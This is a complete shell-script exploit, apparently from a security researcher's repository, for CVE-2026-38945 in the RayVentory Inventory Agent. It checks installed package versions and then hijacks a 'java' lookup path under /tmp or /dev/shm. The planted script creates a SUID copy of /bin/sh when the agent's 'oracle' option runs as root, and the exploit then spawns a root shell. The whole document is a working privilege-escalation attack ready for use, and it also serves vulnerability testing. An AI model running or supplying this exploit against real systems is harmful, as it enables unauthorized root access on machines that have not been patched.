README.md
Rendering markdown...
#!/bin/sh
# Author: Rafael José Núñez Gulías, aka rafnar or hvemerjeg
# Company: Iberian Var Group
# Description: Exploit for CVE-2026-38945 affecting RayVentory Scan Engine 12.6 Update 8 and previous versions
DEB_NON_VULNERABLE_VERSION_ARM64="12.6.4399.38"
DEB_NON_VULNERABLE_VERSION_X86_64="12.6.4399.57"
DEB_NON_VULNERABLE_VERSION_X86="12.6.4399.59"
RPM_NON_VULNERABLE_VERSION_AARCH64="12.6.4399.9-9"
RPM_NON_VULNERABLE_VERSION_X86_64="12.6.4399.120-120"
RPM_NON_VULNERABLE_VERSION_X86="12.6.4399.101-101"
SCRIPT="java"
PERMISSIONS="false"
ctrlC() {
printf "\n[+] Exit\n" >&2
sleep 1
clean
exit 1
}
trap ctrlC INT
Help() {
exit_code=$1
printf '%s\t%s\n' "-h" "Show help"
printf '%s\t%s\n' "-d" "Distro based package: rpm or deb expected. This option is mandatory"
printf '%s\t%s\n' "-t" "Check vulnerable, do not exploit."
printf '%s\t%s\n' "-e" "Check vulnerable and exploit"
exit $exit_code
}
exploitCVE() {
printf "[+] Exploiting CVE-2026-38945\n"
createScript "$SCRIPT"
checkPermissions
if [ $PERMISSIONS = "true" ]
then
sudo /opt/rvia/rvia oracle >/dev/null 2>&1 || sudo /opt/rvia/rvia oracle t=t >/dev/null 2>&1
checkExploitationSuccess
fi
printf '[+] You need to wait for crontab that triggers oracle option with privileges to run. After being triggered a sh with SUID should appear at %s. Good luck :)\n' "$TARGET_DIRECTORY"
printf '[+] After getting your privesc remember to remove %s' "${TARGET_DIRECTORY}/${SCRIPT}"
}
checkPermissions() {
sudo_config=$(sudo -l 2>/dev/null | grep '/rvia')
pattern1=$(printf '%s' "$sudo_config" | grep -E "/opt/rvia/rvia( \*)?$|/opt/rvia/rvia( \*)?,|/opt/rvia/rvia oracle")
if [ -n "$pattern1" ] && printf '%s' "$pattern1" | grep -Eq '\(root\)|\(ALL:ALL\)|\(ALL\)'
then
VULNERABLE_SUDO_CONFIG=$(printf '%s' "$pattern1" | grep -E '\(root\)|\(ALL:ALL\)|\(ALL\)')
printf "[+] User has sudo permissions to run oracle option\n"
PERMISSIONS="true"
fi
}
checkExploitationSuccess() {
if [ -f "${TARGET_DIRECTORY}/sh" ]
then
clean
"${TARGET_DIRECTORY}/sh" -p
exit 0
else
printf "[!] Exploit failed\n" >&2
fi
}
checkVulnerable() {
getArchitecture
if [ "$distro" = 'rpm' ]
then
rpm -q rvia >/dev/null
if [ $? -ne 0 ]
then
printf "[!] RayVentory Inventory Agent is not installed in the rpm based system\n"
exit 0
fi
version=$(rpm -q --qf "%{VERSION}-%{RELEASE}" rvia)
command -v rpmdev-vercmp >/dev/null
if [ $? -eq 1 ]
then
printf "rpmdevtools is not installed\n" >&2
exit 1
fi
if [ "$architecture" = "x86_64" ]
then
vulnerable=$(rpmdev-vercmp "$version" "$RPM_NON_VULNERABLE_VERSION_X86_64" | grep -q '<')
elif [ "$architecture" = "i386" ]
then
vulnerable=$(rpmdev-vercmp "$version" "$RPM_NON_VULNERABLE_VERSION_X86" | grep -q '<')
elif [ "$architecture" = "aarch64" ]
then
vulnerable=$(rpmdev-vercmp "$version" "$RPM_NON_VULNERABLE_VERSION_AARCH64" | grep -q '<')
else
printf "Unknown architecture\n" >&2
exit 1
fi
if [ $? -eq 0 ]
then
printf '[+] RayVentory Inventory Agent installed version %s is vulnerable to CVE-2026-38945\n' "$version"
else
printf '[!] RayVentory Inventory Agent installed version %s is not vulnerable to CVE-2026-38945\n' "$version"
exit 0
fi
elif [ "$distro" = 'deb' ]
then
package_info=$(dpkg -l | grep rvia)
installed=$(printf '%s' "$package_info" | awk '{print $1}')
version=$(printf '%s' "$package_info" | awk '{print $3}')
if [ "$installed" != 'ii' ]
then
printf "[!] RayVentory Inventory Agent is not installed in the deb based system\n"
exit 0
fi
if [ "$architecture" = "x86_64" ]
then
vulnerable=$(dpkg --compare-versions "$version" lt "$DEB_NON_VULNERABLE_VERSION_X86_64")
elif [ "$architecture" = "i386" ]
then
vulnerable=$(dpkg --compare-versions "$version" lt "$DEB_NON_VULNERABLE_VERSION_X86")
elif [ "$architecture" = "aarch64" ]
then
vulnerable=$(dpkg --compare-versions "$version" lt "$DEB_NON_VULNERABLE_VERSION_ARM64")
else
printf "Unknown architecture\n" >&2
exit 1
fi
if [ $? -eq 0 ]
then
printf '[+] RayVentory Inventory Agent installed version %s is vulnerable to CVE-2026-38945\n' "$version"
else
printf '[!] RayVentory Inventory Agent installed version %s is not vulnerable to CVE-2026-38945\n' "$version"
exit 0
fi
else
printf '[!] Check for distro %s based not supported\n' "$distro" >&2
exit 1
fi
}
getArchitecture() {
architecture=$(uname -m)
}
checkMounts() {
if ! $(findmnt -no OPTIONS /tmp | grep nosuid)
then
TARGET_DIRECTORY="/tmp"
return
fi
if ! $(findmnt -no OPTIONS /dev/shm | grep nosuid)
then
TARGET_DIRECTORY="/dev/shm"
return
fi
printf "[!] /tmp and /dev/shm are mounts and have nosuid option\n" >&2
exit 1
}
createScript() {
checkMounts
exploit_name="$1"
mkdir -p "${TARGET_DIRECTORY}/jdk/bin"
TARGET_DIRECTORY="${TARGET_DIRECTORY}/jdk/bin"
cat > "${TARGET_DIRECTORY}/${exploit_name}" << EOF
#!/bin/sh
/usr/bin/cp /bin/sh "${TARGET_DIRECTORY}/sh" && /usr/bin/chmod u+s "${TARGET_DIRECTORY}/sh"
EOF
chmod o+rx "${TARGET_DIRECTORY}/${exploit_name}"
printf '[+] Malicious java created at %s\n' "${TARGET_DIRECTORY}/${exploit_name}"
}
clean() {
rm "${TARGET_DIRECTORY}/${SCRIPT}" >/dev/null 2>&1
}
main() {
while getopts "tehd:" option
do
case "$option" in
t) test="1";;
d) distro="$OPTARG";;
e) _exploit="1";;
h) Help;;
*) Help 1;;
esac
done
if [ -z "$distro" ]
then
printf "[!] -d <deb|rpm> option needs to be defined\n\n" >&2
Help 1
fi
if [ -n "$_exploit" ] && [ -n "$test" ]
then
printf "[!] It is not possible to use both -e and -t options at the same time\n" >&2
exit 1
fi
if [ -n "$_exploit" ]
then
checkVulnerable
exploitCVE
elif [ -n "$test" ]
then
checkVulnerable
else
Help 1
fi
}
main "$@"